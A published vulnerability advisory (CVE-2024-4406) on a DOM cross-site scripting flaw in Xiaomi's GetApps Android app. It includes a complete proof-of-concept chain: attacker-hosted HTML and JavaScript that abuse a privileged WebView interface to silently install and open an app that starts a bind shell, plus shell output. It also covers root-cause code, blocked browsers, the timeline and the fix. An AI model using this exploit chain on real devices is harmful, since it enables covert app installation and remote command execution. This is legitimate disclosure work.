Vendor: xiaomi
Vendor URL: https://www.mi.com
Versions affected: 30.4.1.0 and below
Systems Affected: GetApps Store Android Application (com.xiaomi.mipicks)
Author: Ken Gannon of NCC Group (ken.gannon@nccgroup.com), Ilyes Beghdadi of Census Labs (bilyes@census-labs.com)
Advisory URL / CVE Identifier: CVE-2024-4406
Risk: High
Summary
The GetApps Android Application (com.xiaomi.mipicks) versions 30.4.1.0 and below are vulnerable to a DOM Cross-Site Scripting issue within a privileged WebView. Using this issue, it was possible to execute against a privileged JavaScript Interface to install and open any application available in the GetApps application store.
Impact
If a malicious application were to be uploaded to the GetApps application store, then this issue could be used to install said application and execute arbitrary shell commands on the victim device.
Exploit
To successfully exploit this issue, two files are required to be hosted on an attacker’s web server:
· index.html
· yay.js
The contents of index.html is below:
<html> <head> <title>yaytitleyay</title> </head> <body> <script type="text/javascript"> var yayhostyay = location.hostname; // gets host / domain, can also set this to a static value var yayportyay = location.port // must be a port number of some sort, or let the script get the prot number by itself var yaypayloadyay = "{\"title\":\"look at my PoC!\",\"type\":\"yaytypeyay\\u0022\\u003e\\u003csvg onload\\u003d\\u0022javascript\\u003aj\\u003ddocument.createElement('script');j.src\\u003d'http\\u003a\\u002f\\u002f" + yayhostyay + "\\u003a" + yayportyay + "\\u002fyay.js';document.getElementsByTagName('head')[0].appendChild(j);\\u0022\\u003e\",\"subtitle\":\"brought to you by NCC Group\",\"tips\":\"also Pichu is awesome\",\"btnTips\":\"yayexploityay\"}" var yayhyperlinkyay = "intent://browse?url=file%3A%2F%2Fintegral-dialog-page.html?integralInfo=" + encodeURIComponent(yaypayloadyay) + "#Intent;action=android.intent.action.VIEW;scheme=mimarket;end" var a = document.createElement("a"); a.href = yayhyperlinkyay; a.id = "yayidyay"; a.innerHTML = "YAYPOCYAY"; document.getElementsByTagName('body')[0].appendChild(document.createElement("h1")) document.getElementsByTagName('h1')[0].appendChild(a); </script> </body> </html>
The contents of yay.js is below:
const sleep = async (milliseconds) => { await new Promise(resolve => { return setTimeout(resolve, milliseconds) }); }; const thePayloadYay = async () => { var yayflagyay = 1; while (yayflagyay == 1){ var yayinstalledappsyay = marketAPI.getInstalledApps({}); var yayappslengthyay = yayinstalledappsyay.length; var yaycounteryay = 0; while (yaycounteryay != yayappslengthyay) { if (yayinstalledappsyay[yaycounteryay].packageName === "com.<redacted>.sunfish") { marketAPI.openApp({"pName":"com.<redacted>.sunfish"}); yayflagyay = 0; } yaycounteryay = yaycounteryay + 1; } } marketAPI.showToast({"content":"waiting for the app to be installed"}) await sleep(5000); } marketAPI.install({"extra_params":{"downloadImmediately":"true","fromUntrustedHost":"false","sourcePackage":"com.miui.home","startDownload":"true","callerPackage":"com.xiaomi.mipicks","ext_apm_isColdStart":"false","callerSignature":"88daa889de21a80bca64464243c9ede6","launchWhenInstalled":"true","ext_apm_timeSinceColdStart":"1362443","senderPackageName":"com.xiaomi.mipicks","entrance":"detail","pageRef":"com.xiaomi.mipicks","appClientId":"com.xiaomi.mipicks","refs":"-detail/com.<redacted>.sunfish","sid":"","rId":0,"ad":0,"appStatusType":0,"pName":"com.<redacted>.sunfish","pos":"detailInstallBtn","posChain":"detailInstallBtn","newUser":true,"activedTimeInterval":583925,"adExchangeFlag":0,"_ir_":"8rj6UL-fpnYa7BCFmBSqp5jbHJSm_GgzL6bgn7GqAwc","ext_apm_iconType":"static","ext_apm_isHotTag":false},"ref":"_detailInstallBtn","title":"Sunfish","pName":"com.<redacted>.sunfish","appId":3004617,"appInfo":{"grantCode":0,"openLinkGrantCode":1,"voiceAssistTag":false,"commentable":false,"id":3004617,"appId":3004617,"packageName":"com.<redacted>.sunfish","displayName":"Sunfish","publisherName":"<redacted>","versionName":"1.2.2","versionCode":9,"updateTime":1694181164626,"apkSize":3710211,"compressApkSize":0,"icon":"AppStore/06c542c55a34b47d4a12a45bfe4187f5d8b5d8f10","level1CategoryId":30,"intlCategoryId":30,"ads":0,"adType":1,"position":0,"briefShow":"Help ensure the security of your Android applcation.","briefUseIntro":false,"releaseKeyHash":"0e140764979f5c5c0c44fd526aae29e3",},"sid":"","callBack":"marketAsyncCb.installCb"}) thePayloadYay();
The target device should then use a web browser to browse to http://<attacker’s server>/index.html and click on the hyperlink present on the webpage. When this happens, the above JavaScript will execute which will result in the application “Sunfish” being installed and opened on the device without the user’s consent.
Sunfish is a re-skinned version of Drozer, which starts a bind shell on network interfaces on the device. From there, its possible for the attacker to connect to Sunfish and execute arbitrary commands:
root@2ee5edd7a244:/# sunfish console connect --server <phone IP address> Selecting 746aece8a83d73e2 (Xiaomi 2210132G 13) _.'.__ _.' . ':'. .'' __ __ . '.:._ ./ _ '' '-'.__ .'''-: '''-._ | . '-'._ '. . '._.' ' '. '-.___ . .' . :o'. | .---- . . .' ( '| ----. ' ,.._ _-' .' .--- |.'' .-:;.. _____.----' | .-'''' | ' .' _' .' _' Sunfish |_.-' '-.' sunfish Console (v2.4.4) sunfish> shell :/data/user/0/com.<redacted>.sunfish $ whoami u0_a302 :/data/user/0/com.<redacted>.sunfish $ id uid=10302(u0_a302) gid=10302(u0_a302) groups=10302(u0_a302),3003(inet),9997(everybody),20302(u0_a302_cache),50302(all_a302) context=u:r:untrusted_app_27:s0:c46,c257,c512,c768
Technical Details
Browsable Intent Details
The exported activity com.xiaomi.market.ui.JoinActivity can be launched via Browsable Intent. This activity executes different Java functions based on the contents of the incoming Browsable Intent. One of the functions, called handleBrowse(Uri), can launch a privileged WebView with a potentially dangerous JavaScript Interface. This function can be executed if the “data” within the Browsable Intent contains the following:
· A “scheme” value of mimarket
· A “host” value of browse
To limit potential attacks which can abuse the JavaScript Interface, the application will not allow handleBrowse(Uri) to launch the privileged WebView unless the URL is considered “safe”. The logic for assessing and validating URLs can be found in class com.xiaomi.market.util.UrlCheckUtilsKt method isUrlMatchLevel(String, HostLevel, boolean).
Below is a high level description of what are considered “safe” URLs:
· If the URL starts with https://, then the host value must match a whitelisted domain (the whitelist is kept internally within the application)
· If the URL starts with file://, then the host and path values must match one of the files found in the directory /data/data/com.xiaomi.mipicks/files/web-res-XXXX on the device
Below is a code snippet of how a URL is passed from handleBrowse(Uri) to isUrlMatchLevel(String, HostLevel, boolean):
public class JoinActivity extends BaseActivity { ... private void handleBrowse(Uri uri){ Intent targetIntent; ... String queryParameter = uri.getQueryParameter(“url”); if (UrlCheckUtilsKt.isJsInterfaceAllowed(queryParameter)) { targetIntent = getTargetIntent(intFromIntent == 1 ? FloatWebActivity.class : CommonWebActivity.class); ... targetIntent.putExtra(“url”), queryParameter; ... startActivity(targetIntent);
public final class UrlCheckUtilsKt { public static final boolean isJsInterfaceAllowed(String str) { ... boolean isUrlMatchLevel = isUrlMatchLevel(str, HostLevel.TRUSTED) ... public static final boolean isUrlMatchLevel(String str, HostLevel level){ ... boolean isUrlMatchLevel = isUrlMatchLevel(str, level, true) ... public static final boolean isUrlMatchLevel(String str, HostLevel level, boolean z)({
If the URL is considered valid, then one of the following WebViews will be launched via startActivity(Intent):
· com.xiaomi.market.ui.FloatWebActivity
· com.xiaomi.market.ui.CommonWebActivity
As an example, the following Browsable Intent can be used to launch the exported activity com.xiaomi.market.ui.JoinActivity, open the privileged WebView com.xiaomi.market.ui.CommonWebActivity, and open the file /data/data/com.xiaomi.mipicks/files/web-res-XXXX/detail.html:
<a id="yayidyay" rel="noreferrer" href="intent://browse?url=file%3A%2F%2Fdetail.html#Intent;action=android.intent.action.VIEW;scheme=mimarket;end">YAYPOCYAY</a>
Below is a screenshot of the resulting detail.html page. It should be noted that the lack of content in the web page is intentional:
DOM Cross-Site Scripting (XSS)
The folder /data/data/com.xiaomi.mipicks/files/web-res-XXXX/ contained the following types of files:
· HTML files – render basic HTML and load JavaScript files to render content
· JavaScript files – the JavaScript files that are loaded by the HTML files
Most of the JavaScript files contained an integrated function to filter potentially dangerous characters. This is because some HTML files were required to take user input (via URL GET parameters) and fill out the HTML content based on the user input.
However, the file integral-dialog-page-chunk.js did not filter out dangerous characters in one area, resulting in the ability to perform a DOM Cross-Site Scripting (XSS) attack in the page integral-dialog-page.html.
Below is a Browsable Intent PoC which demonstrates this issue by executing the command alert(1) after loading the page integral-dialog-page.html:
<h1>
<a id="yayidyay" rel="noreferrer" href="intent://browse?url=file%3A%2F%2Fintegral-dialog-page.html?integralInfo=%7b%22%74%69%74%6c%65%22%3a%22%6c%6f%6f%6b%20%61%74%20%6d%79%20%50%6f%43%21%22%2c%22%74%79%70%65%22%3a%22%79%61%79%74%79%70%65%79%61%79%5c%75%30%30%32%32%5c%75%30%30%33%65%5c%75%30%30%33%63%73%76%67%20%6f%6e%6c%6f%61%64%5c%75%30%30%33%64%5c%75%30%30%32%32%6a%61%76%61%73%63%72%69%70%74%5c%75%30%30%33%61%61%6c%65%72%74%28%27%70%72%69%76%69%6c%65%67%65%64%20%6d%61%72%6b%65%74%41%50%49%3a%20%27%20%2b%20%6d%61%72%6b%65%74%41%50%49%29%5c%75%30%30%32%32%5c%75%30%30%33%65%22%2c%22%73%75%62%74%69%74%6c%65%22%3a%22%62%72%6f%75%67%68%74%20%74%6f%20%79%6f%75%20%62%79%20%4e%43%43%20%47%72%6f%75%70%22%2c%22%74%69%70%73%22%3a%22%61%6c%73%6f%20%50%69%63%68%75%20%69%73%20%61%77%65%73%6f%6d%65%22%2c%22%62%74%6e%54%69%70%73%22%3a%22%79%61%79%65%78%70%6c%6f%69%74%79%61%79%22%7d#Intent;action=android.intent.action.VIEW;scheme=mimarket;end">
YAYPOCYAY</a>
</h1>
Decoded payload value:
file://integral-dialog-page.html?integralInfo={"title":"look at my PoC!","type":"yaytypeyay"><svg onload="javascript:alert(1)">","subtitle":"brought to you by NCC Group","tips":"also Pichu is awesome","btnTips":"yayexploityay"}
Below is a screenshot of the DOM XSS payload being executed on the device:
Privileged JavaScript Interface WebEvent
The previously mentioned privileged WebView loads the JavaScript Interface “WebEvent” (com.xiaomi.market.webview.WebEvent).
This JavaScript Interface contained two useful methods which could be executed via JavaScript:
· install(string) – this method will install any application that is available on the GetApps store
· openApp(string) – this method will find the launch intent for any installed application and run that intent, opening the specified application
Launching the WebView and Executing Against WebEvent
In order to execute JavaScript against the “WebEvent” JavaScript Interface, the integral-dialog-page.html page must be launched and user input must contain the appropriate JavaScript.
The following Browsable Intent can be used to launch the privileged WebView, load the page integral-dialog-page.html, and execute the JavaScript command alert(marketAPI). This shows that it is possible to execute arbitrarily against the privileged JavaScript Interface found at com.xiaomi.market.webview.WebEvent:
<h1>
<a id="yayidyay" rel="noreferrer" href="intent://browse?url=file%3A%2F%2Fintegral-dialog-page.html?integralInfo=%7b%22%74%69%74%6c%65%22%3a%22%6c%6f%6f%6b%20%61%74%20%6d%79%20%50%6f%43%21%22%2c%22%74%79%70%65%22%3a%22%79%61%79%74%79%70%65%79%61%79%5c%75%30%30%32%32%5c%75%30%30%33%65%5c%75%30%30%33%63%73%76%67%20%6f%6e%6c%6f%61%64%5c%75%30%30%33%64%5c%75%30%30%32%32%6a%61%76%61%73%63%72%69%70%74%5c%75%30%30%33%61%61%6c%65%72%74%28%27%70%72%69%76%69%6c%65%67%65%64%20%6d%61%72%6b%65%74%41%50%49%3a%20%27%20%2b%20%6d%61%72%6b%65%74%41%50%49%29%5c%75%30%30%32%32%5c%75%30%30%33%65%22%2c%22%73%75%62%74%69%74%6c%65%22%3a%22%62%72%6f%75%67%68%74%20%74%6f%20%79%6f%75%20%62%79%20%4e%43%43%20%47%72%6f%75%70%22%2c%22%74%69%70%73%22%3a%22%61%6c%73%6f%20%50%69%63%68%75%20%69%73%20%61%77%65%73%6f%6d%65%22%2c%22%62%74%6e%54%69%70%73%22%3a%22%79%61%79%65%78%70%6c%6f%69%74%79%61%79%22%7d#Intent;action=android.intent.action.VIEW;scheme=mimarket;end">
YAYPOCYAY</a>
</h1>
Decoded payload value:
file://integral-dialog-page.html?integralInfo={"title":"look at my PoC!","type":"yaytypeyay"><svg onload="javascript:alert('privileged marketAPI: ' + marketAPI)">","subtitle":"brought to you by NCC Group","tips":"also Pichu is awesome","btnTips":"yayexploityay"}
Below is a screenshot of the above payload being executed:
Using this, it is possible to execute the JavaScript Interface functions install(String) and openApp(String). To fully take advantage of this issue, an attacker would need to upload a malicious app to the GetApps store. Then this exploit will need to be abused to install said malicious application and launch it automatically.
Sunfish
To demonstrate the severity of this issue, the application “Sunfish” was uploaded to the GetApps store. Sunfish is a re-skinned copy of Drozer, whish a common tool used for penetration testing of Android devices. This version of Sunfish (Drozer) is also configured to start a bind shell when the application is launched.
Combining the Pieces
With all of the information above, the workflow for this exploit looks like the following:
· User with a Xiaomi 13 Pro browses to an attacker controlled web server and clicks a hyper link that was crafted by the attacker
· The GetApps application is launched and the privileged WebView is launched
· The DOM XSS issue is exploited to inject custom JavaScript into the privileged WebView
· The attacker controlled custom JavaScript executes commands against the “WebEvent” JavaScript Interface to install and open Sunfish
· Sunfish is launched, and a bind shell is started
· The attacker connects to the bind shell, which can then execute commands within the context of Sunfish
Disabled Browsers for Specific Versions of GetApps
During Pwn2Own Toronto 2023, Xiaomi temporarily implemented code into the GetApps application which would block the ability to launch JoinActivity via Browsable Intent. This code was later removed from GetApps after the Pwn2Own competition had concluded.
Below is a list of GetApps versions, their SHA256 hashes, and which browsers are prohibited from launching JoinActivity:
· Version 30.2.7.0
o SHA256 - 4cf142334ed34c3705c2a30c3aba121861e57d8c5d1d8341f194ad4723dc5be8
o Browsers blocked:
§ Xiaomi Browser (com.mi.globalbrowser)
§ Android HTML Viewer (com.android.htmlviewer)
§ Android NFC (com.android.nfc)
§ Google Chrome (com.android.chrome)
· Version 30.2.8.0
o SHA256 - 7637f7fe3dd1c53e072069faabda59683272115e561fa5e400bd0586093accd1
o Browsers blocked:
§ Xiaomi Browser (com.mi.globalbrowser)
§ Android HTML Viewer (com.android.htmlviewer)
§ Android NFC (com.android.nfc)
§ Google Chrome (com.android.chrome)
§ Opera Browser (com.opera.browser)
§ Yandex Browser (com.yandex.browser)
The application logic to block the above browsers can be seen in the below code snippet, taken from GetApps version 30.2.7.0.
The value matchSpecialCallingPackage is set to true if the Browsable Intent was sent from one of the above blacklisted browsers. Since matchSpecialCallingPackage is true, the method handleIntent() will always return before the handleBrowse(Uri uri) function can be executed.
public class JoinActivity extends BaseActivity {
...
private void handleInent() {
...
boolean matchSpecialCallingPackage = matchSpecialCallingPackage();
...
if (matchSpecialCallingPackage) {
if (!TextUtils.equals(targetPage, PAGE_DETAILS) && !TextUtils.equals(targetPage, "detail") && !TextUtils.equals(targetPage, PAGE_LAUNCH_DETAIL)) {
launchTargetActivity(MarketTabActivity.class);
} else {
handleDetails(intent, scheme, targetPage);
}
MethodRecorder.o(9268);
return;
}
...
if (TextUtils.equals(targetPage, PAGE_BROWSE)) {
handleBrowse(data);
MethodRecorder.o(9268);
return;
}
private boolean matchSpecialCallingPackage() {
...
boolean contains = sBlackPkgArrayList.contains(getCallingPackage());
...
return contains;
}
Recommendation
Xiaomi has stated that this issue was resolved in GetApps version 32.0.0.1. Users should update their GetApps application to at least that version.
Vendor Communication
2023-10-25 – Exploit demonstrated at Pwn2Own Toronto 2023, exploit details handed over to Zero Day Initiative (ZDI)
2023-11-09 – ZDI reported vulnerability to Xiaomi
2024-05-01 – Coordinated public release of advisory
Note: Xiaomi has not assigned a CVE for this issue. When ZDI worked with Xiaomi to patch this issue, Xiaomi informed ZDI they would assign a CVE, but never followed through. So instead, ZDI has assigned the CVE number CVE-2024-4406 for this issue.